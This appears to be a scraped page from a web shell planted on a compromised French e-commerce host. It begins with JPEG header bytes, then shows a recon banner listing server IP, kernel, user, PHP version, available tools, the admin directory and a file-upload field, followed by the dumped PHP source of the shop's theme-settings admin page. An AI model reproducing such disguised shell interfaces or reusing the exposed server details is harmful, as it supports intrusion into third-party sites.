ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
$id_volet ="57";
include('includes/volet.php');
/****************************/
if(isset($_POST['edit'])) {
$sql = $bdd->prepare('UPDATE info SET ecotext=:ecotext,impro=:impro,maxi=:maxi,ouverture=:ouverture WHERE id = 1');
$sql->execute(array(
'impro' => $_POST['impro'],
'maxi' => $_POST['maxi'],
'ecotext' => $_POST['ecotext'],
'ouverture' => $_POST['ouverture']
));
$zero = '0';
$un = '1';
$sql = $bdd->prepare('UPDATE themes SET cle=:cle WHERE id > 0');
$sql->execute(array(
'cle' => $zero
));
$themdef = $_POST['new'];
$sql = $bdd->prepare('UPDATE themes SET cle=:cle WHERE id=:id');
$sql->execute(array(
'cle' => $un,
'id' => $themdef
));
echo '<script>';
echo 'window.location = "./themes.php"';
echo '</script>';
}
$sql = $bdd->query('SELECT * FROM info
WHERE id = 1');
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$title = $list[$i]['title'];
$meta_caption= $list[$i]['meta_caption'];
$meta_keywords= $list[$i]['meta_keywords'];
$url = $list[$i]['url'];
$email_contact = $list[$i]['email_contact'];
$email_rappel = $list[$i]['email_rappel'];
$company = $list[$i]['company'];
$surname = $list[$i]['surname'];
$first_name = $list[$i]['first_name'];
$address = $list[$i]['address'];
$zip_code = $list[$i]['zip_code'];
$town = $list[$i]['town'];
$phone = $list[$i]['phone'];
$fax = $list[$i]['fax'];
$google_analytics = $list[$i]['google_analytics'];
$maintenance = $list[$i]['maintenance'];
$facebook= $list[$i]['facebook'];
$twitter= $list[$i]['twitter'];
$google_plus= $list[$i]['google_plus'];
$paypal_adress= $list[$i]['paypal_adress'];
$iban = $list[$i]['iban'];
$ouverture= $list[$i]['ouverture'];
$maxi = $list[$i]['maxi'];
$garantie = $list[$i]['garantie'];
$impro = $list[$i]['impro'];
$ecotext = $list[$i]['ecotext'];
}
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Modifier le thème de la boutique
</h1>
</div>
</div>
</div>
<?php
echo '<div id="form-content" style="">';
echo '<form class="form-horizontal" method="post" action="#" enctype="multipart/form-data">';
echo '<div class="row-fluid">';
echo '<div class="span6">';
echo '<br /><br /><br /><br />Vous avez la possibilité de modifier le thème de la boutique.<br />
Actuellement la sélection est :<br /><br />
';
echo '<div class="control-group">';
echo '<label class="control-label" for="new">Modifier :</label>';
echo '<div class="controls">';
echo '<select name="new" id="new" style="width:300px;">';
$list = get_themes(array('table'=>'themes', 'order'=>'id'));
for($i=0; $i<count($list); $i++) {
$id = $list[$i]['id'];
$status= $list[$i]['status'];
$name = $list[$i]['name'];
$cle = $list[$i]['cle'];
if ($status >0){ echo '<option value="'.$id.'"'; if($cle == '1')echo ' selected'; echo '>' . $name . '</option>'; }
}
echo '</select>';
echo '</div>';
echo '</div>';
echo ' <div class="control-group">
<label class="control-label" for="titlefrom">Slogan Header :</label>
<div class="controls">
<input type="text" id="ouverture" name="ouverture" style="width:100%" value="'.$ouverture.'">
</div>
</div>';
echo ' <div class="control-group">
<label class="control-label" for="titlefrom">Texte taxe eco :</label>
<div class="controls">
<input type="text" id="ecotext" name="ecotext" style="width:100%" value="'.$ecotext.'">
</div>
</div>';
echo '<div class="control-group">';
echo '<label class="control-label" for="new">Image PROMOS :</label>';
echo '<div class="controls">';
echo '<select name="impro" id="new" style="width:300px;">';
echo '<option value="1"'; if($impro <2 )echo ' selected'; echo '>Image PROMOS</option>';
echo '<option value="2"'; if($impro >1 )echo ' selected'; echo '>Image SOLDES</option>';
echo '</select>';
echo '</div>';
echo '</div>';
echo'
<div class="control-group">
<label class="control-label" for="titlefrom">Livraison offerte à partir :</label>
<div class="controls">
<input type="text" id="maxi" name="maxi" style="width:80px" value="'.$maxi.'" /> €
</div>
</div>
';
echo '<div class="form-actions" style="background: none; border: none;" >';
echo '<div class="btn-group">';
echo '<button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>';
echo '</div>';
echo '</div>';
echo '</div>';
echo '</div>';
echo '</form>';
echo '</div>';
?>
</div>
<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
<?php
include_once('includes/footer.php');
?>